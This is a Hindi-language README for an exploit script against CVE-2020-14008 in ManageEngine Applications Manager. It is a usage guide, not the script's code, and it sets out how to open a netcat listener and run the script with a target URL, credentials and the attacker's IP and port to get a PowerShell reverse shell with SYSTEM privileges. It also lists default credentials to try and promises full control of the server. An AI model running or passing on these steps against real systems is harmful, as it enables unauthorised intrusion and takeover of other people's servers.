CVE-2020-14008 ManageEngine एक्सप्लॉइट

यह क्या है?

यह स्क्रिप्ट ManageEngine Applications Manager में CVE-2020-14008 का शोषण करके SYSTEM विशेषाधिकारों के साथ एक रिवर्स शेल प्राप्त करती है।

आवश्यकताएँ

pip3 install requests urllib3

इसका उपयोग कैसे करें

1. एक लिसनर शुरू करें

nc -nlvp 9001

2. एक्सप्लॉइट चलाएँ

python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>

उदाहरण

# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001

# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001

आज़माने के लिए सामान्य क्रेडेंशियल्स

• admin:admin
• administrator:administrator
• guest:guest

आपको क्या मिलता है

• PowerShell रिवर्स शेल
• लक्ष्य पर SYSTEM विशेषाधिकार
• ManageEngine सर्वर पर पूर्ण नियंत्रण